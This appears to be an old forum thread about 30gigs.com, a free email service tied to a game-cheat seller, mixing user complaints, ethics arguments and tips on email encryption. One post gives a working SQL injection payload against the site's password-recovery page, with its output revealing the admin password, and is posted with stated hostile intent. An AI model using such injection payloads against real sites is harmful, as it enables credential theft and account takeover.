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Hat Trickery
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join:2002-09-29
Brooklyn, NY
| wow more perceptive comment:
if people are stupid enough to:
a) cheat at games
b) not protect their PC's
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c) trust their email to any new company that pops up and offers a service easily and FREELY performed by other more reputable companies,
then they get what they have coming to them.
in other words: who cares.
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Kfedka
Premium
join:2005-05-06
Spokane, WA | Re: wow 30gb yea right... everyone thought that when google came round with 1gb email that it was a joke. How 30gb can be possible I dunno, with the company at least with a company that is not heard of, or has a bad presentation of itself already. | |
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Kfedka
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join:2005-05-06
Spokane, WA | Re: wow hmm this just came to mind, maybe someone should sign up and see how fast we can fill the box with spam. | |
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qos
join:2003-09-19
Beverly Hills, CA | It is the uninformed user that may not be tech savvy enough to understand the issues.
You say who cares? How about someone in YOUR family gets screwed over by a deal like this? Do you care now? | |
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join:2005-11-20
61066 |  Re: wow
Excellent point ripn! | |
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DiscardedVet
Premium
join:2005-04-06
Sturgis, SD
1 edit | said by qos  :How about someone in YOUR family gets screwed over by a deal like this? Do you care now? .
Hot damn !!! Another user that remembers what it is to be a PC noob!!
So few we are. Urks the hell out of me when some asshead flames someone for - oh my god - not knowing something of a PC.
DV
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ROCINANTE 2112
Original Member 007
join:1999-06-29
Hartsdale, NY
clubs:
| What if people use this service or any other for legitimate reasons that don't include game cheats? Do you think that innocent people still deserve to have bad things happen to them? I certainly don't. But then again, I have just completed several classes on ethics and philosophy.
Anyway, can anyone tell me why the "people who are uninformed about computers deserve negative consequences of their ignorant acts" idea is so prevalent in the help-desk industry (via these forums)? I don't see this attitude in other professions (e.g., doctors, lawyers). Why the bitterness?
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| | BosstonesOwn
join:2002-12-15
Everett, MA
clubs:
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| Re: wow said by ROCINANTE 2112 :What if people use this service or any other for legitimate reasons that don't include game cheats? Do you think that innocent people still deserve to have bad things happen to them? I certainly don't. But then again, I have just completed several classes on ethics and philosophy. Anyway, can anyone tell me why the "people who are uninformed about computers deserve negative consequences of their ignorant acts" idea is so prevalent in the help-desk industry (via these forums)? I don't see this attitude in other professions (e.g., doctors, lawyers). Why the bitterness? I see it all to much here kind of worries me about the state of the world.
I think it stems to most it workers being the "geeks" and being abused in school. They finally have something they can hold over the "jocks" and popular peoples heads.
I mean really can we all expect every one using a computer to know how to reinstall their network stack if it breaks ? I don't understand all the bitterness either.
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sahirs
join:2002-02-14
Singapore
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Deterrent? |
said by ViniTheHat :more perceptive comment: if people are stupid enough to: a) cheat at games b) not protect their PC's and c) trust their email to any new company that pops up and offers a service easily and FREELY performed by other more reputable companies, If all of the above aren't enough to deter anybody, the attached screen should do it.
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| rljensen3
join:2005-04-11
Placentia, CA | 30 gigs aint nothing. If you want storage try mailnation.com its 1 Terabyte of free Storage.
rljensen3 | |
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ViniTheHat
Hat Trickery
Premium
join:2002-09-29
Brooklyn, NY
| w/e no, i still dont.
tech rule #1: if you dont know what your doing with it, put it down, walk away and leave it alone. trust me, i dont see Hallmark making a movie any tim esoon about the heart-wrenching drama of a family's PC unwitting infected with a computer virus.
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qos
join:2003-09-19
Beverly Hills, CA | Re: w/e I was thinking more along the lines of identity theft or fraud. Care now? | |
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ViniTheHat
Hat Trickery
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join:2002-09-29
Brooklyn, NY
| Re: w/e not really, i doubt that anything of that sort will lead to death/dispair in my family. not worth worrying about. i dont think that anyone who isnt computer/internet "savvy" will find any need for 30 gigs of email space. nor do my folks play BF2. sooo, i think im in the clear.
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DiscardedVet
Premium
join:2005-04-06
Sturgis, SD
| said by ViniTheHat :no, i still dont. tech rule #1: if you dont know what your doing with it, put it down, walk away and leave it alone. .
But, with that logic, man would still be living in caves.
DV
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vasta
join:2003-04-07
Orlando, FL
1 edit | t i signed up weeks ago but havnt logged in yet reason being is because i cant..slow site
@cfl.rr.com works fine for me | |
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cork1958
Cork
join:2000-02-26
Fruitport, MI
 ·Verizon Online DSL
·Charter Pipeline
| Re: t said by vasta :i signed up weeks ago but havnt logged in yet reason being is because i cant..slow site @cfl.rr.com works fine for me Very, very, very slow site. Absolutely sucks!!
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pnh102
Reptiles Are Cuddly And Pretty
Premium
join:2002-05-02
Mount Airy, MD
·Comcast
| Summary is Wrong quote:
The risk of continuing to use 30gigs.com to receive or send confidential email should be obvious.
Emphasis mine.
There has never been any way to send a confidential email. No matter what email service you use the contents of any email can easily be intercepted and exposed.
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qos
join:2003-09-19
Beverly Hills, CA
| Re: Summary is Wrong said by pnh102 : quote:
The risk of continuing to use 30gigs.com to receive or send confidential email should be obvious.
Emphasis mine. There has never been any way to send a confidential email. No matter what email service you use the contents of any email can easily be intercepted and exposed. Granted, but who would you trust a little more? Google, Yahoo, MSN or some fly by night company looking to make a quick buck? | |
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| ZapperO
join:2001-01-27
| said by pnh102 : quote:
The risk of continuing to use 30gigs.com to receive or send confidential email should be obvious.
Emphasis mine. There has never been any way to send a confidential email. No matter what email service you use the contents of any email can easily be intercepted and exposed. Actually, you can get encryption technology that would make use of any pop3 or imap email system secure (even 30gigs.com if they offer pop3 access).
The catch is that you need to trade security certificates with every person you email. Furthermore, you need to use a desktop based email program (Outlook, Thunderbird, etc.) to handle the encryption/decryption of the messages.
Thawte offers free digital certificates/encryption technology at »https://www.thawte.com/secure-email/pers···dex.html | |
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qos
join:2003-09-19
Beverly Hills, CA | Re: Summary is Wrong True...that is a good point...but still seeing this 30gigs info I will have to pass...
Looks like some major email address harvesting and whatever else is going on... | |
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pog
Premium
join:2004-06-03
Kihei, HI
·Hawaiian Telcom
| said by ZapperO :... Actually, you can get encryption technology that would make use of any pop3 or imap email system secure (even 30gigs.com if they offer pop3 access). The catch is that you need to trade security certificates with every person you email. Furthermore, you need to use a desktop based email program (Outlook, Thunderbird, etc.) to handle the encryption/decryption of the messages. ... That's not the only problem. If this is your primary/only account, how do you get your bank, web host, cc company, paypal, etc to send you encrypted mail? You can't and are therefore left completely exposed where it counts the most. | |
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RARPSL
join:1999-12-08
Suffern, NY
| said by ZapperO :said by pnh102 : quote:
The risk of continuing to use 30gigs.com to receive or send confidential email should be obvious.
Emphasis mine. There has never been any way to send a confidential email. No matter what email service you use the contents of any email can easily be intercepted and exposed. Actually, you can get encryption technology that would make use of any pop3 or imap email system secure (even 30gigs.com if they offer pop3 access). The catch is that you need to trade security certificates with every person you email. Furthermore, you need to use a desktop based email program (Outlook, Thunderbird, etc.) to handle the encryption/decryption of the messages. If you are into WebMail, you can use HUSHMAIL (»www.hushmail.com/). All that is needed is for both you and your recipient to have Free Hushmail accounts. You connect to their Web Mail servers to send/receive messages. They also allow you to send/receive encrypted message to/from non-Hushmail addresses. They are based on PGP PKI encryption so you need PGP to use a MUA as opposed to a Web Browser (the Web Interface handles the encryption/decryption for your Hushmail Web Mail Account). | |
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Fatal Vector
@sfldmi.ameritech
| Bottom line It should be obvious that the only way to send "confidential" e mail is by encrypting it wit a decent encryption program (or, by plain old snail mail). Since most e mail is spam or BS anyway, why worry about it? The guy has been exposednow, so, time to move on.... | |
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morbo
Complete Your Transaction
join:2002-01-22
00000
clubs: | malibox remember what it originally said on the homepage? 30 gigabyte malibox. then he corrected it and emphasized the correction like so: mailbox  | |
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gh4456
Premium,VIP
join:2004-04-07
Beverly Hills, CA
| MSX Exposed- EXPOSED! Interesting - I used the blog to post my own positive comment towards MSX security and the admin removed it. He only seems to leave the uneducated pro-msx responses on the blog. Remember, there is always 2 sides to every story. Try it, post a pro-MSX message and watch it vanish... Talk about spin. | |
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qos
join:2003-09-19
Beverly Hills, CA | Re: MSX Exposed- EXPOSED! So...are you saying that you are a cheater? | |
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| | gh4456
Premium,VIP
join:2004-04-07
Beverly Hills, CA | Re: MSX Exposed- EXPOSED! I didn't say that - but why the big issue is my concern - its a game for crying out loud. | |
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qos
join:2003-09-19
Beverly Hills, CA
| Re: MSX Exposed- EXPOSED! said by gh4456 :He only seems to leave the uneducated pro-msx responses on the blog. I think you summed that up pretty nicely - "the uneducated pro-msx response's"
And the big deal is nobody likes a cheater and esp. playing a multiplayer game with one! Your response sounds like a typical cheater mindset, but then again why would you have a pro-msx comment unless you weren't?
I'm curious. | |
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Premium,VIP
join:2004-04-07
Beverly Hills, CA
1 edit | Re: MSX Exposed- EXPOSED! I just like giving the benefit of the doubt. I have cheated at games before (up+up+down+down+left+right+left+right+a+b+select+start) remember that one? Anyways, I don't do a lot of gaming, so maybe I am just missing the point. To accuse people of hacking systems is serious. If he has the "code" as he has stated, why not post it to let others look at it. Apparently it hasn't been flagged by any security company. Just playing devil's advocate
This is also on the msxexposed site:
EA Battlefield 2 Cheats MSX Security Exposed. LEGAL: The content featured on this page are the sole OPINIONS of our staff! and are not presented as fact
This person is obviously pissed at the owner and could be held liable if found slanderous. Remember free speech is ok until you start damaging someone else without facts to back it up. | |
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qos
join:2003-09-19
Beverly Hills, CA
1 edit | Re: MSX Exposed- EXPOSED! Edit. | |
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join:2004-04-07
Beverly Hills, CA
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KyeU
join:2003-12-31
Canada
1 edit | ... »www.30gigs.com/about/
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This is very usefull if you have multiple accounts linked to your 30Gigs.com account, and want to send a email from john@otherservice.com so you dont confuse the sender.
Good Engrish.
Notice: We collect personal information on this site. | |
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wjr110
join:2005-02-23
North Salem, NY | Re: ... On the guy's blog he says that he filled up his account with a gig of information before his account was locked (for overuse) and he wasn't even able to delete anything off of it. | |
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mrchris
We don't miss you Bush
Premium
join:2002-10-01
North Babylon, NY | Re: ... Very hypocritical site  | |
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masterdave23
Premium
join:2002-11-21
Satellite Beach, FL | lol 30Gigs.com is still in a very heavy bet | |
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WooooT
| heres a huge hole in the 30gigs.com website. The vulnerability exists in »www.30gigs.com/getpassword/ page due to
lack of validation of user submitted data.
Proof of Concept:
enter »www.30gigs.com/getpassword/
and copy & paster this code in the Login field, finally submit the form.
not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where
userLogin='admin
it will give an output like below, in which "runsit" corresponds to the
password of account "admin"
We have sent the password for your not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where
userLogin='admin_at_30gigs.com account to run it
The site has been notified about the vulnerability 2 weeks ago, but no
response was taken.
maz is a b i t c h and its tims for him to go down HARD! | |
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morbo
Complete Your Transaction
join:2002-01-22
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clubs: | Re: heres a huge hole in the 30gigs.com website. yowza | |
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Oleg
Bellsouth Fastaccess
Premium
join:2003-12-08
Birmingham, AL | lol Wonder who needs so much space for e-mail. If I need space for hosting files I can get webhosting with nice POP3 e-mail account for $2.00 | |
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JE
Can I Taste It? Mmmm
Premium
join:2000-12-15
Brooklyn, NY
| Re: lol I too have an account here for a few months now. I don't use it much, just needed to see how it worked out. Somone actually poted somewhere on the internet, that it's not really 30GB service, that it is really a 1GB box. That's why there is no usage meter on the site.
JE
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godsmack
join:2003-06-08 | msx sucks LOL.......
That POS needs to be tossed into jail.
Its one thing to cheat at games, its another to
use those cheats to build a bot net and back doors into
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| athlon 11
join:2003-01-15
31400
| Re: msx sucks 30g for free....is almost imposible,a 40g hdd still charge nearly 50 bucks.
after the successful of gmail,we begin believe a serious company will and can lot thing for free,but business is still business,yes a good and caring company can offer good value,but a serious business can not offer something that make it have loss. | |
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no30g
@151.198.x.x
| 30gig The problem here is that someone involvled in the shady world of selling cheats for online games is not someone I would trust. Guys like him cost real companies $$ and hurt honest players. EA has to spend cash to keep their game playable for the average user. Cheats kill games and cost sales. He also has cheats for the game Americas Army, a game made by the US Army. They have to deal with this nonsense too. Like I said, its a shady business.
He bundles adware into his "free" cheat downloads too. Those he just takes from places where you can get the files for free and clean, adds his adware crap and puts them on his site.
Plenty shady. Not an email Id be inclinded too use, in fact there is nothing "legit" from him that I would use.
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Ariamyria
@ac.th
| 30gigs.com I am pissed at 30gigs because all my mail has been erased! I checked my mail box yesterday and there was over 400 mails in one account and over 200 mails in the other account. And this morning when I checked my mailbox, it was all gone with only 6 mails in one account and 4 mails in the other account. Basically, all the mails I had received yesterday and earlier are all gone without any warning or notice.
Second, if you are typing a really long message to a friend using 30gigs.com, when you press send, your mail will not be sent. Instead, you are sent back to the login page because the session has timed out. So after you log in, then you realize that not only have you lost your really long message but it hasn't been sent either! This has been very frustrating.
Third, there is no meter to tell you how much space you have left.
Fourth, there is no customer service or someone you can contact via email to tell them of your problems!
The only reason why I had used 30gigs.com was to store mail. Now that I have lost all my mail, I don't think I will continue to use such an unreliable mailing system. | |
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